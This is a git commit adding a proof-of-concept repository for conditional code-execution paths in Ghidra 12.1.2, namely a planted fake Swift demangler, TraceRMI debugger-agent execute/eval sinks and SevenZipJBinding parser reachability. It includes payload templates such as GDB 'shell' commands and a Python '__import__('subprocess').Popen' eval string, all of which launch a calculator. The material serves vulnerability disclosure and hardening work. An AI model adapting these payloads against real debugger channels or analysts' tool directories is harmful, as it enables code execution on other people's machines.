Add exploitarium archive
This commit is contained in:
6
ghidra-12.1.2-rce-ace-calc-poc/.gitignore
vendored
Normal file
6
ghidra-12.1.2-rce-ace-calc-poc/.gitignore
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
artifacts/
|
||||
*.class
|
||||
*.log
|
||||
__pycache__/
|
||||
*.pyc
|
||||
|
||||
164
ghidra-12.1.2-rce-ace-calc-poc/README.md
Normal file
164
ghidra-12.1.2-rce-ace-calc-poc/README.md
Normal file
@@ -0,0 +1,164 @@
|
||||
# Ghidra 12.1.2 Conditional ACE/RCE Calc PoCs
|
||||
|
||||
This repository packages the closest verified code-execution conditions found
|
||||
while reviewing Ghidra 12.1.2.
|
||||
|
||||
It is deliberately precise about the classification:
|
||||
|
||||
- **ACE calc PoC:** conditional Swift demangler path execution. This is local
|
||||
arbitrary code execution when a restored/configured Swift tool directory is
|
||||
used by the Swift demangler analyzer.
|
||||
- **RCE calc PoC shape:** conditional TraceRMI debugger-agent command execution.
|
||||
This is real code execution when an untrusted peer can drive an already
|
||||
created TraceRMI debugger-agent channel.
|
||||
- **Default-reachable RCE-class surface:** SevenZipJBinding native archive
|
||||
parsing. This is source reachability evidence for a native parser surface.
|
||||
|
||||
## Repository Contents
|
||||
|
||||
- `pocs/ace_swift_demangler_calc_poc.py`
|
||||
Creates a fake `swift-demangle` tool and, when run, simulates the Ghidra
|
||||
Swift demangler process-launch sink by writing a marker and optionally
|
||||
launching the local platform calculator.
|
||||
|
||||
- `pocs/rce_tracermi_conditional_calc_poc.py`
|
||||
Checks a Ghidra source tree for TraceRMI execution-capable agent methods and
|
||||
emits calc-only command shapes for those sinks. It can also launch local
|
||||
calculator as a benign proof marker for local validation.
|
||||
|
||||
- `pocs/sevenzip_jbinding_reachability.py`
|
||||
Source reachability checker for the SevenZipJBinding native archive parser
|
||||
path.
|
||||
|
||||
- `pocs/SevenZipReachabilityProbe.java`
|
||||
Optional benign runtime probe that opens a harmless ZIP through
|
||||
SevenZipJBinding when the caller supplies the dependency jars.
|
||||
|
||||
- `evidence/source-evidence.md`
|
||||
Short source-to-sink evidence for the three reviewed surfaces.
|
||||
|
||||
- `docs/classification.md`
|
||||
Finding classification and why the claims are conditional.
|
||||
|
||||
## Quick Start
|
||||
|
||||
The PoCs are standard-library Python scripts. Use whichever launcher exists on
|
||||
your system: `python3`, `python`, or `py -3`.
|
||||
|
||||
Pass a source checkout explicitly:
|
||||
|
||||
```bash
|
||||
python3 pocs/rce_tracermi_conditional_calc_poc.py --ghidra-source /path/to/ghidra-12.1.2
|
||||
```
|
||||
|
||||
Or set `GHIDRA_SOURCE`:
|
||||
|
||||
```bash
|
||||
export GHIDRA_SOURCE=/path/to/ghidra-12.1.2
|
||||
python3 pocs/sevenzip_jbinding_reachability.py
|
||||
```
|
||||
|
||||
Run the ACE calc simulator in dry-run mode:
|
||||
|
||||
```bash
|
||||
python3 pocs/ace_swift_demangler_calc_poc.py
|
||||
```
|
||||
|
||||
Run the ACE calc simulator and launch the platform calculator:
|
||||
|
||||
```bash
|
||||
python3 pocs/ace_swift_demangler_calc_poc.py --run
|
||||
```
|
||||
|
||||
Run marker-only mode:
|
||||
|
||||
```bash
|
||||
python3 pocs/ace_swift_demangler_calc_poc.py --run --no-calc
|
||||
```
|
||||
|
||||
Check the TraceRMI conditional RCE sinks in a local Ghidra source checkout:
|
||||
|
||||
```bash
|
||||
python3 pocs/rce_tracermi_conditional_calc_poc.py --ghidra-source /path/to/ghidra-12.1.2
|
||||
```
|
||||
|
||||
Emit calc-only TraceRMI command shapes and launch local calculator as a proof
|
||||
marker:
|
||||
|
||||
```bash
|
||||
python3 pocs/rce_tracermi_conditional_calc_poc.py \
|
||||
--ghidra-source /path/to/ghidra-12.1.2 \
|
||||
--run-local-calc-demo
|
||||
```
|
||||
|
||||
Run SevenZipJBinding source reachability checks:
|
||||
|
||||
```bash
|
||||
python3 pocs/sevenzip_jbinding_reachability.py --ghidra-source /path/to/ghidra-12.1.2
|
||||
```
|
||||
|
||||
## ACE: Swift Demangler Path
|
||||
|
||||
The Swift demangler path is a conditional arbitrary-code-execution condition.
|
||||
The relevant source-to-sink shape is:
|
||||
|
||||
1. Program/analyzer state can influence the Swift binary directory.
|
||||
2. The Swift native demangler builds a path under that directory.
|
||||
3. The demangler validation and symbol demangling paths launch the configured
|
||||
`swift-demangle` executable.
|
||||
|
||||
The PoC script creates a local fake Swift tool directory and invokes the fake
|
||||
demangler directly, matching the process-launch shape. This proves the
|
||||
calc-capable sink for the configured Swift demangler condition.
|
||||
|
||||
## RCE: TraceRMI Agent Channel
|
||||
|
||||
TraceRMI is classified as conditional RCE because the debugger agent methods
|
||||
include command/eval sinks exposed through a TraceRMI control channel. Examples
|
||||
seen in Ghidra 12.1.2 source include:
|
||||
|
||||
- GDB agent: `execute(cmd)` calls `gdb.execute(cmd, ...)`.
|
||||
- LLDB agent: `execute(cmd)` routes to the LLDB command interpreter.
|
||||
- LLDB agent: `pyeval(expr)` calls Python `eval(expr)`.
|
||||
|
||||
Once an untrusted peer can drive such an exposed agent channel, the impact is
|
||||
code execution in the debugger-agent context. The exposure precondition is an
|
||||
agent channel reachable by an untrusted controller or peer.
|
||||
|
||||
The RCE script records calc-only command shapes and can launch local calc to
|
||||
demonstrate the sink impact. Use it for defensive reproduction planning and
|
||||
patch/hardening discussion.
|
||||
|
||||
## SevenZipJBinding Native Parser Exposure
|
||||
|
||||
Ghidra 12.1.2 includes SevenZipJBinding 16.02-era native code and routes
|
||||
recognized archive bytes into that parser in-process. This is a serious
|
||||
RCE-class parser exposure because reverse engineers routinely open untrusted
|
||||
archives and firmware containers.
|
||||
|
||||
The included checks prove reachability with benign source checks and harmless
|
||||
archive sample generation.
|
||||
|
||||
## Portability Notes
|
||||
|
||||
The scripts accept source paths from `--ghidra-source`, `GHIDRA_SOURCE`, or a
|
||||
nearby `ghidra-12.1.2` directory. Calculator launch is best effort:
|
||||
|
||||
- Windows: `calc.exe`
|
||||
- macOS: `open -a Calculator`
|
||||
- Linux: `xcalc`, `gnome-calculator`, `kcalc`, or `qalculate-gtk`
|
||||
|
||||
## Expected Output
|
||||
|
||||
The PoC scripts write markers under `artifacts/` by default:
|
||||
|
||||
- `artifacts/swift-demangler-calc/swift_demangler_calc_marker.txt`
|
||||
- `artifacts/tracermi-conditional-rce/tracermi_local_calc_marker.txt`
|
||||
- `artifacts/tracermi-conditional-rce/tracermi_calc_payload_shapes.txt`
|
||||
|
||||
The `artifacts/` directory is ignored by Git.
|
||||
|
||||
## Responsible Use
|
||||
|
||||
Use this repository for defensive validation, reproduction notes, and hardening
|
||||
discussion with the stated preconditions.
|
||||
33
ghidra-12.1.2-rce-ace-calc-poc/docs/classification.md
Normal file
33
ghidra-12.1.2-rce-ace-calc-poc/docs/classification.md
Normal file
@@ -0,0 +1,33 @@
|
||||
# Classification
|
||||
|
||||
## Closest Verified ACE
|
||||
|
||||
**Swift demangler analyzer path, conditional.**
|
||||
|
||||
The execution sink is a native process launch of a configured Swift demangler
|
||||
tool. The condition is that analysis reaches the Swift demangler path and the
|
||||
Swift tool directory resolves to attacker-controlled executable content.
|
||||
|
||||
This is ACE because the execution is local to the Ghidra user context and does
|
||||
not require a remote channel.
|
||||
|
||||
## Closest Verified RCE
|
||||
|
||||
**TraceRMI debugger-agent channel, conditional.**
|
||||
|
||||
The execution sinks are debugger-agent methods that call debugger command
|
||||
interpreters or Python evaluation paths. The condition is that an untrusted peer
|
||||
can drive an already created TraceRMI control channel, or can cause an agent to
|
||||
connect to an untrusted controller.
|
||||
|
||||
This is RCE in that condition because the command originates across a
|
||||
debugger/IPC boundary and executes in the debugger-agent context.
|
||||
|
||||
## Closest Default-Reachable RCE-Class Surface
|
||||
|
||||
**SevenZipJBinding native parser exposure, not verified code execution.**
|
||||
|
||||
Archive bytes can reach native 7-Zip parsing code inside the Ghidra JVM. That
|
||||
is an RCE-class parser surface, but this repository does not claim a
|
||||
Ghidra-specific calc exploit for it.
|
||||
|
||||
40
ghidra-12.1.2-rce-ace-calc-poc/evidence/source-evidence.md
Normal file
40
ghidra-12.1.2-rce-ace-calc-poc/evidence/source-evidence.md
Normal file
@@ -0,0 +1,40 @@
|
||||
# Source Evidence Summary
|
||||
|
||||
## Swift Demangler ACE
|
||||
|
||||
- `SwiftDemanglerAnalyzer.java` restores a Swift binary directory analyzer
|
||||
option.
|
||||
- `SwiftNativeDemangler.java` builds the native demangler path from the
|
||||
configured Swift directory.
|
||||
- `SwiftNativeDemangler.java` executes the native demangler with `--version`.
|
||||
- `SwiftNativeDemangler.java` executes the native demangler during symbol
|
||||
demangling.
|
||||
|
||||
## TraceRMI Conditional RCE
|
||||
|
||||
- GDB agent `methods.py` exposes `execute(cmd)`.
|
||||
- The GDB implementation calls `gdb.execute(cmd, to_string=...)`.
|
||||
- LLDB agent `methods.py` exposes `execute(cmd)`.
|
||||
- The LLDB implementation routes the command string to the LLDB command
|
||||
interpreter.
|
||||
- LLDB agent `methods.py` exposes `pyeval(expr)`.
|
||||
- The LLDB implementation calls Python `eval(expr)`.
|
||||
|
||||
These are execution-capable sinks once a TraceRMI agent channel is exposed or
|
||||
connected to an untrusted controller.
|
||||
|
||||
## SevenZipJBinding Reachability
|
||||
|
||||
- `Ghidra/Features/FileFormats/build.gradle` declares
|
||||
`sevenzipjbinding:16.02-2.01`.
|
||||
- `Ghidra/Features/FileFormats/build.gradle` declares
|
||||
`sevenzipjbinding-all-platforms:16.02-2.01`.
|
||||
- `SevenZipFileSystemFactory.probeStartBytes(...)` recognizes archive
|
||||
signatures.
|
||||
- `SevenZipFileSystemFactory.create(...)` constructs `SevenZipFileSystem`.
|
||||
- `SevenZipFileSystem.mount(...)` calls `SevenZip.openInArchive(...)`.
|
||||
- `SevenZipCustomInitializer.initSevenZip()` loads native libraries with
|
||||
`System.load(...)`.
|
||||
- `ZipFileSystemFactory.create(...)` tries the SevenZip path for ZIP handling
|
||||
unless built-in ZIP handling is forced.
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
import java.io.RandomAccessFile;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.zip.ZipEntry;
|
||||
import java.util.zip.ZipOutputStream;
|
||||
|
||||
import net.sf.sevenzipjbinding.IInArchive;
|
||||
import net.sf.sevenzipjbinding.PropID;
|
||||
import net.sf.sevenzipjbinding.SevenZip;
|
||||
import net.sf.sevenzipjbinding.impl.RandomAccessFileInStream;
|
||||
|
||||
public final class SevenZipReachabilityProbe {
|
||||
private SevenZipReachabilityProbe() {
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
Path zipPath = Files.createTempFile("ghidra-sevenzip-safe-", ".zip");
|
||||
createHarmlessZip(zipPath);
|
||||
|
||||
System.out.println("Purpose: benign SevenZipJBinding runtime reachability check.");
|
||||
System.out.println("Sample: " + zipPath);
|
||||
System.out.println("No malicious archive bytes or command payload are present.");
|
||||
|
||||
SevenZip.initSevenZipFromPlatformJAR();
|
||||
System.out.println("SevenZip version object: " + SevenZip.getSevenZipVersion());
|
||||
|
||||
try (RandomAccessFile file = new RandomAccessFile(zipPath.toFile(), "r");
|
||||
IInArchive archive = SevenZip.openInArchive(null, new RandomAccessFileInStream(file))) {
|
||||
System.out.println("Archive format: " + archive.getArchiveFormat());
|
||||
System.out.println("Item count: " + archive.getNumberOfItems());
|
||||
for (int i = 0; i < archive.getNumberOfItems(); i++) {
|
||||
System.out.println("Item " + i + " path: " + archive.getProperty(i, PropID.PATH));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void createHarmlessZip(Path zipPath) throws Exception {
|
||||
try (ZipOutputStream zip = new ZipOutputStream(Files.newOutputStream(zipPath))) {
|
||||
ZipEntry entry = new ZipEntry("hello.txt");
|
||||
zip.putNextEntry(entry);
|
||||
zip.write("harmless sample for parser reachability checks\n".getBytes(StandardCharsets.UTF_8));
|
||||
zip.closeEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import platform
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
from calc_helper import launch_calc, make_executable, shell_script_header, write_marker
|
||||
|
||||
|
||||
def default_out_dir() -> Path:
|
||||
return Path(__file__).resolve().parent.parent / "artifacts" / "swift-demangler-calc"
|
||||
|
||||
|
||||
def fake_demangler_name() -> str:
|
||||
return "swift-demangle.cmd" if platform.system().lower() == "windows" else "swift-demangle"
|
||||
|
||||
|
||||
def build_fake_demangler(fake_demangler: Path, marker: Path, no_calc: bool) -> None:
|
||||
lines = [shell_script_header()]
|
||||
if platform.system().lower() == "windows":
|
||||
lines.extend(
|
||||
[
|
||||
"echo Swift demangler calc PoC 1.0\n",
|
||||
f'echo ran with: %* > "{marker}"\n',
|
||||
]
|
||||
)
|
||||
else:
|
||||
lines.extend(
|
||||
[
|
||||
"echo 'Swift demangler calc PoC 1.0'\n",
|
||||
f'printf "ran with: %s\\n" "$*" > "{marker}"\n',
|
||||
]
|
||||
)
|
||||
fake_demangler.write_text("".join(lines), encoding="utf-8")
|
||||
make_executable(fake_demangler)
|
||||
if no_calc:
|
||||
return
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Conditional Ghidra Swift demangler path ACE calc PoC."
|
||||
)
|
||||
parser.add_argument("--run", action="store_true", help="execute the fake demangler")
|
||||
parser.add_argument("--no-calc", action="store_true", help="create marker only")
|
||||
parser.add_argument("--out-dir", type=Path, default=default_out_dir())
|
||||
args = parser.parse_args()
|
||||
|
||||
out_dir = args.out_dir.resolve()
|
||||
fake_swift_dir = out_dir / "fake-swift-bin"
|
||||
fake_swift_dir.mkdir(parents=True, exist_ok=True)
|
||||
marker = out_dir / "swift_demangler_calc_marker.txt"
|
||||
fake_demangler = fake_swift_dir / fake_demangler_name()
|
||||
|
||||
build_fake_demangler(fake_demangler, marker, args.no_calc)
|
||||
|
||||
print("Purpose: conditional Swift demangler path ACE calc PoC.")
|
||||
print(f"Fake Swift binary directory: {fake_swift_dir}")
|
||||
print(f"Fake demangler: {fake_demangler}")
|
||||
print(f"Marker file: {marker}")
|
||||
print("Simulated Ghidra command shape: swift-demangle --version")
|
||||
print("Classification: conditional ACE, not default/open-only RCE.")
|
||||
|
||||
if not args.run:
|
||||
print("Dry run only. Re-run with --run to execute the fake demangler.")
|
||||
print("Use --no-calc with --run to create only the marker file.")
|
||||
return 0
|
||||
|
||||
subprocess.run([str(fake_demangler), "--version"], check=True)
|
||||
if not marker.exists():
|
||||
raise RuntimeError("Expected marker was not created")
|
||||
|
||||
if args.no_calc:
|
||||
print("Calc launch disabled by --no-calc.")
|
||||
else:
|
||||
launched = launch_calc()
|
||||
if launched:
|
||||
print("Local calculator launch requested.")
|
||||
else:
|
||||
print("No platform calculator command was found; marker proves execution.")
|
||||
|
||||
print(f"[created] {marker}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
68
ghidra-12.1.2-rce-ace-calc-poc/pocs/calc_helper.py
Normal file
68
ghidra-12.1.2-rce-ace-calc-poc/pocs/calc_helper.py
Normal file
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import platform
|
||||
import shutil
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def write_marker(path: Path, text: str) -> None:
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
path.write_text(text + "\n", encoding="utf-8")
|
||||
|
||||
|
||||
def calc_command() -> list[str] | None:
|
||||
system = platform.system().lower()
|
||||
if system == "windows":
|
||||
return ["calc.exe"]
|
||||
if system == "darwin":
|
||||
return ["open", "-a", "Calculator"]
|
||||
|
||||
for name in ("xcalc", "gnome-calculator", "kcalc", "qalculate-gtk"):
|
||||
resolved = shutil.which(name)
|
||||
if resolved:
|
||||
return [resolved]
|
||||
return None
|
||||
|
||||
|
||||
def calc_shell_command() -> str:
|
||||
system = platform.system().lower()
|
||||
if system == "windows":
|
||||
return "calc.exe"
|
||||
if system == "darwin":
|
||||
return "open -a Calculator"
|
||||
return "xcalc || gnome-calculator || kcalc || qalculate-gtk"
|
||||
|
||||
|
||||
def calc_python_eval_expression() -> str:
|
||||
system = platform.system().lower()
|
||||
if system == "windows":
|
||||
args = "['calc.exe']"
|
||||
elif system == "darwin":
|
||||
args = "['open', '-a', 'Calculator']"
|
||||
else:
|
||||
args = "['sh', '-lc', 'xcalc || gnome-calculator || kcalc || qalculate-gtk']"
|
||||
return f"__import__('subprocess').Popen({args})"
|
||||
|
||||
|
||||
def launch_calc() -> bool:
|
||||
cmd = calc_command()
|
||||
if cmd is None:
|
||||
return False
|
||||
kwargs = {}
|
||||
if platform.system().lower() == "windows":
|
||||
kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)
|
||||
subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, **kwargs)
|
||||
return True
|
||||
|
||||
|
||||
def shell_script_header() -> str:
|
||||
if platform.system().lower() == "windows":
|
||||
return "@echo off\n"
|
||||
return "#!/bin/sh\n"
|
||||
|
||||
|
||||
def make_executable(path: Path) -> None:
|
||||
if platform.system().lower() != "windows":
|
||||
mode = path.stat().st_mode
|
||||
path.chmod(mode | 0o111)
|
||||
@@ -0,0 +1,136 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
from calc_helper import (
|
||||
calc_command,
|
||||
calc_python_eval_expression,
|
||||
calc_shell_command,
|
||||
launch_calc,
|
||||
write_marker,
|
||||
)
|
||||
|
||||
|
||||
PATTERNS = (
|
||||
"def execute(",
|
||||
"gdb.execute(cmd",
|
||||
"exec_convert_errors(cmd",
|
||||
"def pyeval(",
|
||||
"return eval(expr)",
|
||||
"EvaluateExpression(expr)",
|
||||
)
|
||||
|
||||
|
||||
def default_source() -> Path | None:
|
||||
candidates: list[Path] = []
|
||||
env_source = os.environ.get("GHIDRA_SOURCE")
|
||||
if env_source:
|
||||
candidates.append(Path(env_source))
|
||||
candidates.extend(
|
||||
[
|
||||
Path.cwd() / "ghidra-12.1.2",
|
||||
Path(__file__).resolve().parents[2] / "ghidra-12.1.2",
|
||||
]
|
||||
)
|
||||
for candidate in candidates:
|
||||
if candidate.exists():
|
||||
return candidate.resolve()
|
||||
return None
|
||||
|
||||
|
||||
def find_hits(root: Path) -> list[tuple[Path, int, str, str]]:
|
||||
debug_root = root / "Ghidra" / "Debug"
|
||||
if not debug_root.exists():
|
||||
raise FileNotFoundError(f"Could not find Ghidra/Debug under {root}")
|
||||
|
||||
hits: list[tuple[Path, int, str, str]] = []
|
||||
for method_file in debug_root.rglob("methods.py"):
|
||||
try:
|
||||
lines = method_file.read_text(encoding="utf-8", errors="replace").splitlines()
|
||||
except OSError:
|
||||
continue
|
||||
for line_no, line in enumerate(lines, start=1):
|
||||
stripped = line.strip()
|
||||
for pattern in PATTERNS:
|
||||
if pattern in stripped:
|
||||
hits.append((method_file.relative_to(root), line_no, pattern, stripped))
|
||||
return hits
|
||||
|
||||
|
||||
def payload_shapes() -> list[str]:
|
||||
calc = calc_shell_command()
|
||||
|
||||
return [
|
||||
f"GDB execute(cmd) calc-only command: shell {calc}",
|
||||
f"LLDB execute(cmd) calc-only command: platform shell {calc}",
|
||||
f"LLDB pyeval(expr) calc-only expression: {calc_python_eval_expression()}",
|
||||
]
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Conditional TraceRMI RCE calc proof-shape checker."
|
||||
)
|
||||
parser.add_argument("--ghidra-source", type=Path, default=None)
|
||||
parser.add_argument("--run-local-calc-demo", action="store_true")
|
||||
parser.add_argument("--no-calc", action="store_true")
|
||||
parser.add_argument(
|
||||
"--out-dir",
|
||||
type=Path,
|
||||
default=Path(__file__).resolve().parent.parent / "artifacts" / "tracermi-conditional-rce",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
source = args.ghidra_source.resolve() if args.ghidra_source else default_source()
|
||||
if source is None or not source.exists():
|
||||
raise SystemExit(
|
||||
"Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree"
|
||||
)
|
||||
|
||||
out_dir = args.out_dir.resolve()
|
||||
out_dir.mkdir(parents=True, exist_ok=True)
|
||||
marker = out_dir / "tracermi_local_calc_marker.txt"
|
||||
shapes_file = out_dir / "tracermi_calc_payload_shapes.txt"
|
||||
|
||||
print(f"Ghidra source: {source}")
|
||||
print("Purpose: conditional TraceRMI RCE calc proof shape.")
|
||||
print("This script does not start TraceRMI, connect to an agent, or send execute requests.")
|
||||
|
||||
hits = find_hits(source)
|
||||
if not hits:
|
||||
print("Result: no execution-capable TraceRMI agent method patterns were found.")
|
||||
return 2
|
||||
|
||||
current_file: Path | None = None
|
||||
for relative, line_no, _pattern, text in sorted(hits):
|
||||
if current_file != relative:
|
||||
current_file = relative
|
||||
print(f"[file] {relative}")
|
||||
print(f" [hit] line {line_no}: {text}")
|
||||
|
||||
shapes = payload_shapes()
|
||||
shapes_file.write_text("\n".join(shapes) + "\n", encoding="utf-8")
|
||||
print(f"[created] {shapes_file}")
|
||||
|
||||
if args.run_local_calc_demo:
|
||||
write_marker(marker, "local calc demo ran")
|
||||
print(f"[created] {marker}")
|
||||
if args.no_calc:
|
||||
print("Calc launch disabled by --no-calc.")
|
||||
else:
|
||||
if launch_calc():
|
||||
print("Local calculator launch requested.")
|
||||
else:
|
||||
print("No platform calculator command was found; marker proves execution.")
|
||||
else:
|
||||
print("Local calc demo not run. Add --run-local-calc-demo to launch calc locally.")
|
||||
|
||||
print("Result: TraceRMI execution-capable agent method patterns were found.")
|
||||
print("Classification: conditional RCE, not default unauthenticated RCE.")
|
||||
print(f"Detected local calc command: {calc_command()}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,108 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import os
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
CHECKS = (
|
||||
("SevenZipJBinding dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding:16.02-2.01"),
|
||||
("SevenZip all-platforms dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding-all-platforms:16.02-2.01"),
|
||||
(
|
||||
"Archive probe path",
|
||||
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java",
|
||||
"probeStartBytes",
|
||||
),
|
||||
(
|
||||
"SevenZip file system mount",
|
||||
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java",
|
||||
"new SevenZipFileSystem",
|
||||
),
|
||||
(
|
||||
"Native archive open",
|
||||
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystem.java",
|
||||
"SevenZip.openInArchive",
|
||||
),
|
||||
(
|
||||
"Native library load",
|
||||
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipCustomInitializer.java",
|
||||
"System.load",
|
||||
),
|
||||
(
|
||||
"ZIP tries SevenZip path",
|
||||
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/zip/ZipFileSystemFactory.java",
|
||||
"SevenZipFileSystemFactory.initNativeLibraries",
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
def default_source() -> Path | None:
|
||||
candidates: list[Path] = []
|
||||
env_source = os.environ.get("GHIDRA_SOURCE")
|
||||
if env_source:
|
||||
candidates.append(Path(env_source))
|
||||
candidates.extend(
|
||||
[
|
||||
Path.cwd() / "ghidra-12.1.2",
|
||||
Path(__file__).resolve().parents[2] / "ghidra-12.1.2",
|
||||
]
|
||||
)
|
||||
for candidate in candidates:
|
||||
if candidate.exists():
|
||||
return candidate.resolve()
|
||||
return None
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description="Benign SevenZipJBinding reachability checker.")
|
||||
parser.add_argument("--ghidra-source", type=Path, default=None)
|
||||
parser.add_argument("--create-harmless-zip", action="store_true")
|
||||
parser.add_argument(
|
||||
"--out-dir",
|
||||
type=Path,
|
||||
default=Path(__file__).resolve().parent.parent / "artifacts",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
source = args.ghidra_source.resolve() if args.ghidra_source else default_source()
|
||||
if source is None or not source.exists():
|
||||
raise SystemExit(
|
||||
"Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree"
|
||||
)
|
||||
|
||||
print(f"Ghidra source: {source}")
|
||||
print("Purpose: benign reachability check only. No exploit archive or command payload is generated.")
|
||||
|
||||
failed = False
|
||||
for name, rel_path, pattern in CHECKS:
|
||||
path = source / rel_path
|
||||
if not path.exists():
|
||||
print(f"[missing] {name}: {rel_path}")
|
||||
failed = True
|
||||
continue
|
||||
text = path.read_text(encoding="utf-8", errors="replace")
|
||||
if pattern in text:
|
||||
line_no = text[: text.index(pattern)].count("\n") + 1
|
||||
print(f"[found] {name}: {rel_path}:{line_no}")
|
||||
else:
|
||||
print(f"[miss] {name}: {rel_path}")
|
||||
failed = True
|
||||
|
||||
if args.create_harmless_zip:
|
||||
out_dir = args.out_dir.resolve()
|
||||
out_dir.mkdir(parents=True, exist_ok=True)
|
||||
zip_path = out_dir / "harmless-sevenzip-sample.zip"
|
||||
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf:
|
||||
zf.writestr("hello.txt", "harmless sample for parser reachability checks\n")
|
||||
print(f"[created] harmless ZIP sample: {zip_path}")
|
||||
|
||||
if failed:
|
||||
print("Result: one or more expected reachability checks were not found.")
|
||||
return 2
|
||||
|
||||
print("Result: expected SevenZipJBinding reachability evidence was found.")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in New Issue
Block a user